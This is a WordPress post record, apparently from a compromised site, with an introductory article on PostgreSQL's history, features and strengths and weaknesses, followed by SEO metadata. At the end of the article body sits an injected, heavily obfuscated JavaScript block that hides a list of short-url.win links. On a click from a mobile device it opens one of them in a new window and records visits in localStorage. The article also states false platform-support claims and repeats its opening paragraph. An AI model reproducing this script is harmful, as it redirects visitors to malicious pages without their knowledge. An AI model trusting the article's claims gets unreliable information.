{"id":1508,"date":"2021-02-18T09:55:42","date_gmt":"2021-02-18T02:55:42","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=1508"},"modified":"2021-10-20T21:30:04","modified_gmt":"2021-10-20T14:30:04","slug":"pengertian-postgresql","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/","title":{"rendered":"Understanding PostgreSQL"},"content":{"rendered":"\n<p>PostgreSQL (also known as Postgres) is an open-source (freely distributed) RDBMS that emphasizes compliance with technical standards and data flexibility. PostgreSQL is distributed under a free\/free license, so it can be used, modified, and redistributed to the public freely\/free for personal, commercial, or academic purposes. PostgreSQL is designed to handle workloads of data from a single machine to a web service that many people access simultaneously. PostgreSQL is a database management system designed to work well on MacOS Server systems, but its development also applies to Linux, FreeBSD, OpenBSD, and Windows 32-bit and 64-bit platforms up to the PostgreSQL 10 version. PostgreSQL 11 is developed for 64-bit MacOS and 64-bit Windows platforms only.<\/p>\n\n\n\n<p>Home \u00bb Database \u00bb Understanding PostgreSQL and its Functions, Strengths and Weaknesses<\/p>\n\n\n\n<p>Understanding PostgreSQL is Understanding PostgreSQL and its Functions, Strengths and WeaknessesBY NUR SAPUTRO UPDATED: 7 MARCH 2020<\/p>\n\n\n\n<p>Understanding PostgreSQL<\/p>\n\n\n\n<p>PostgreSQL (also known as Postgres) is an open-source (freely distributed) RDBMS that emphasizes compliance with technical standards and data flexibility. PostgreSQL is distributed under a free\/free license, so it can be used, modified, and redistributed to the public freely\/free for personal, commercial, or academic purposes. PostgreSQL is designed to handle workloads of data from a single machine to a web service that many people access simultaneously. PostgreSQL is a database management system designed to work well on MacOS Server systems, but its development also applies to Linux, FreeBSD, OpenBSD, and Windows 32-bit and 64-bit platforms up to the PostgreSQL 10 version. PostgreSQL 11 is developed for 64-bit MacOS and 64-bit Windows platforms only.<\/p>\n\n\n\n<p>Potsgres was initially developed by a student and a staff programmer from the University of California, Berkeley, under the guidance of Professor Michael Stonebraker in 1982. This RDBMS was originally named Postgres, but along with its development with SQL query functions being added day by day, then in 1995 the name was changed to Postgres95. Finally in 1996 it was reformed again to PostgreSQL, which continued to be used until PostgreSQL was the pioneer of many concepts that were only available on later commercial database systems. Although developed open-source, it supports most SQL standards plus many modern commercial database features, including the following.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>complex queries,<\/li><li>Foreign Key (FK),<\/li><li>triggers,<\/li><li>Views that are ready to be updated,<\/li><li>transactional integrity,<\/li><li>concurrency control over various versions of other programming languages.<\/li><li>Other additional features that are not uncommon in the standard SQL RDBMS are as follows.<\/li><\/ul>\n\n\n\n<p>additional data types (data types) outside the SQL standard,<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>functions (functions),<\/li><li>operators,<\/li><li>aggregate functions,<\/li><li>index,<\/li><li>procedural programming language.<\/li><\/ul>\n\n\n\n<p>In the world of databases we know the jargon of the client\/server model or structure, Postgres is also able to implement the client\/server model concept. The explanation is as follows.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>server processes, including managing database files, accepting and allowing users to access connections to the database through applications installed on the user&#8217;s computer, the database server itself is called Postgres;<\/li><li>client process, the user uses an application to access the database on the server, the application can take various forms, it can be a text-oriented application\/tool \u200b(text-oriented), a graphical application (with a GUI), a web server that accesses the database to display web page, or a specialized database management application such as Navicat, HeidiSQL, or pgAdmin. Some of these client applications come with Postgres distributions developed by users.<\/li><\/ul>\n\n\n\n<p>PostgreSQL Functions<\/p>\n\n\n\n<p>The basic function of Postgres as an RDBMS is as a database with flexible data type support. To use PostgreSQL as an independent database without connecting to any application, the user needs a front-end application such as pgAdmin or HeidiSQL, or can also use the CLI (command line interface) to perform queries manually. Previously PostgreSQL supports multiplatform Windows, Linux, and MacOS, but due to technical reasons, the support is minimized. As of this writing, PostgreSQL 11 and 12 versions only support two (2) platforms, namely 64-bit MacOS and 64-bit Windows. Postgres is a database system that is reliable in managing large data to be accessed by many users. This is what causes PostgreSQL to be one of the database choices used by large technology-based companies such as Yandex from Russia, Amazon from the United States, Instagram, Skype, Reddit, Sony Online, and many more. The key feature of Postgres is that it helps application developers (developers) to build client\/server database-based applications, as well as assisting database administrators in ensuring the security of application devices by protecting data integrity. Management of database files from the client or server side of course each has different capabilities. The following are advanced features in Postgres that are very useful for developers.<\/p>\n\n\n\n<p>has a locking mechanism<br>support for concurrency to other programming languages \u200bsuch as JSON,<br>complete and condensed Server-Side Programming functionality,<br>compatible with ANSI SQL Standard,<br>full support for client-server network architecture,<br>trigger and log based SSL replication,<br>object-oriented (object-oriented).<\/p>\n\n\n\n<p>PostgreSQL has support for data storage in text, image, sound, and video formats plus support for C, C++, Perl, Python, Ruby, Tcl, and ODBC (Open Database Connectivity) programming interfaces.<\/p>\n\n\n\n<p>PostgreSQL Advantages and Disadvantages<\/p>\n\n\n\n<p>The advantages of PostgreSQL are as follows:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>PostgreSQL is released under its own PostgreSQL license;<\/li><li>free and open-source, meaning that users will not be required to pay anything for using this RDBMS;<\/li><li>PostgreSQL fully complies with ACID (Atomic, Consistent, Isolated, and Durable) rules, in contrast to MySQL which complies with ACID rules when using only NDB or InnoDB database engines;<\/li><li>excellent PostgreSQL performance and performance on systems that demand execution of complex queries;<\/li><li>PostgreSQL works very well with BI (Business Intelligence) applications, and is more suitable for managing data warehousing (warehousing) and analysis applications that require fast data read-write speeds;<\/li><li>is an ideal RDBMS system for managing company financial data, because it fully complies with ACID rules which is very suitable for OLTP (Online Transaction Processing);<\/li><li>a powerful GIS feature called PostGIS;<\/li><li>the best solution to overcome scalability issues on the number of requests from the internet\/website network that contains hundreds or even thousands of data transactions;<\/li><li>Postgres already supports modern website frameworks like Django and node.js;<\/li><li>Postgres already supports JSON data.<\/li><\/ul>\n\n\n\n<p>The disadvantages of PostgreSQL are as follows:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>PostsgreSQL performance on a metric scale, its speed is still inferior to MySQL;<\/li><li>many open-source applications support MySQL, but maybe not PostgreSQL;<\/li><li>system maintenance and repair with regard to this RDBMS requires more effort and work than when dealing with MySQL, because PostgreSQL systems demand compatibility;<\/li><li>Not all development stacks support Postgres, so it will take extra effort and work to test or develop websites on a localhost basis.<\/li><\/ul>\n\n\n\n<p>Thus a little description of PostgreSQL, an open-source database with features equivalent to commercial databases. If you have studied MySQL\/MariaDB, Access, or SQLite databases, then you will quickly understand the concept of PostgreSQL databases. Keep the spirit of studying databases, hopefully this information is useful and easy to understand.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x58\\x56\\x44\\x33\\x63\\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x71\\x6d\\x64\\x35\\x63\\x335','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x4a\\x44\\x46\\x38\\x63\\x338','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x65\\x75\\x68\\x39\\x63\\x379','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x4e\\x48\\x41\\x34\\x63\\x304','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x6d\\x43\\x66\\x37\\x63\\x317','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x5a\\x41\\x75\\x32\\x63\\x302','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x6c\\x58\\x4b\\x36\\x63\\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x44\\x75\\x72\\x30\\x63\\x380','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x45\\x4c\\x41\\x31\\x63\\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>PostgreSQL (also known as Postgres) is an open-source (freely distributed) RDBMS that emphasizes compliance with technical standards and data flexibility. &hellip; <\/p>\n","protected":false},"author":1,"featured_media":1517,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1508","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-desain"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Understanding PostgreSQL - Bead Daily<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Understanding PostgreSQL - Bead Daily\" \/>\n<meta property=\"og:description\" content=\"PostgreSQL (also known as Postgres) is an open-source (freely distributed) RDBMS that emphasizes compliance with technical standards and data flexibility. &hellip;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/\" \/>\n<meta property=\"og:site_name\" content=\"Bead Daily\" \/>\n<meta property=\"article:published_time\" content=\"2021-02-18T02:55:42+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-10-20T14:30:04+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif\" \/>\n\t<meta property=\"og:image:width\" content=\"700\" \/>\n\t<meta property=\"og:image:height\" content=\"256\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/gif\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\/\/beadgrup.com\/news\/#\/schema\/person\/a719f7580554c936bd23c302adc17bad\"},\"headline\":\"Understanding PostgreSQL\",\"datePublished\":\"2021-02-18T02:55:42+00:00\",\"dateModified\":\"2021-10-20T14:30:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/\"},\"wordCount\":1121,\"publisher\":{\"@id\":\"https:\/\/beadgrup.com\/news\/#organization\"},\"image\":{\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif\",\"articleSection\":[\"Desain\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/\",\"url\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/\",\"name\":\"Understanding PostgreSQL - Bead Daily\",\"isPartOf\":{\"@id\":\"https:\/\/beadgrup.com\/news\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif\",\"datePublished\":\"2021-02-18T02:55:42+00:00\",\"dateModified\":\"2021-10-20T14:30:04+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#primaryimage\",\"url\":\"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif\",\"contentUrl\":\"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif\",\"width\":700,\"height\":256},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/beadgrup.com\/news\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Understanding PostgreSQL\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/beadgrup.com\/news\/#website\",\"url\":\"https:\/\/beadgrup.com\/news\/\",\"name\":\"Bead Daily\",\"description\":\"Halaman artikel mengenai Teknologi\",\"publisher\":{\"@id\":\"https:\/\/beadgrup.com\/news\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/beadgrup.com\/news\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/beadgrup.com\/news\/#organization\",\"name\":\"Bead Daily\",\"url\":\"https:\/\/beadgrup.com\/news\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/beadgrup.com\/news\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/logo-bead-e1613356108278.jpg\",\"contentUrl\":\"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/logo-bead-e1613356108278.jpg\",\"width\":100,\"height\":109,\"caption\":\"Bead Daily\"},\"image\":{\"@id\":\"https:\/\/beadgrup.com\/news\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/beadgrup.com\/news\/#\/schema\/person\/a719f7580554c936bd23c302adc17bad\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/beadgrup.com\/news\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/e1c424fe35b832f4b6879df2d6ef2c57?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/e1c424fe35b832f4b6879df2d6ef2c57?s=96&d=mm&r=g\",\"caption\":\"admin\"},\"sameAs\":[\"https:\/\/beadgrup.com\/news\"],\"url\":\"https:\/\/beadgrup.com\/news\/author\/beadgrup\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Understanding PostgreSQL - Bead Daily","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/","og_locale":"en_US","og_type":"article","og_title":"Understanding PostgreSQL - Bead Daily","og_description":"PostgreSQL (also known as Postgres) is an open-source (freely distributed) RDBMS that emphasizes compliance with technical standards and data flexibility. &hellip;","og_url":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/","og_site_name":"Bead Daily","article_published_time":"2021-02-18T02:55:42+00:00","article_modified_time":"2021-10-20T14:30:04+00:00","og_image":[{"width":700,"height":256,"url":"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif","type":"image\/gif"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"Written by":"admin","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#article","isPartOf":{"@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/"},"author":{"name":"admin","@id":"https:\/\/beadgrup.com\/news\/#\/schema\/person\/a719f7580554c936bd23c302adc17bad"},"headline":"Understanding PostgreSQL","datePublished":"2021-02-18T02:55:42+00:00","dateModified":"2021-10-20T14:30:04+00:00","mainEntityOfPage":{"@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/"},"wordCount":1121,"publisher":{"@id":"https:\/\/beadgrup.com\/news\/#organization"},"image":{"@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#primaryimage"},"thumbnailUrl":"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif","articleSection":["Desain"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/","url":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/","name":"Understanding PostgreSQL - Bead Daily","isPartOf":{"@id":"https:\/\/beadgrup.com\/news\/#website"},"primaryImageOfPage":{"@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#primaryimage"},"image":{"@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#primaryimage"},"thumbnailUrl":"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif","datePublished":"2021-02-18T02:55:42+00:00","dateModified":"2021-10-20T14:30:04+00:00","breadcrumb":{"@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/beadgrup.com\/news\/pengertian-postgresql\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#primaryimage","url":"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif","contentUrl":"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/b.gif","width":700,"height":256},{"@type":"BreadcrumbList","@id":"https:\/\/beadgrup.com\/news\/pengertian-postgresql\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/beadgrup.com\/news\/"},{"@type":"ListItem","position":2,"name":"Understanding PostgreSQL"}]},{"@type":"WebSite","@id":"https:\/\/beadgrup.com\/news\/#website","url":"https:\/\/beadgrup.com\/news\/","name":"Bead Daily","description":"Halaman artikel mengenai Teknologi","publisher":{"@id":"https:\/\/beadgrup.com\/news\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/beadgrup.com\/news\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/beadgrup.com\/news\/#organization","name":"Bead Daily","url":"https:\/\/beadgrup.com\/news\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/beadgrup.com\/news\/#\/schema\/logo\/image\/","url":"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/logo-bead-e1613356108278.jpg","contentUrl":"https:\/\/beadgrup.com\/news\/wp-content\/uploads\/2021\/02\/logo-bead-e1613356108278.jpg","width":100,"height":109,"caption":"Bead 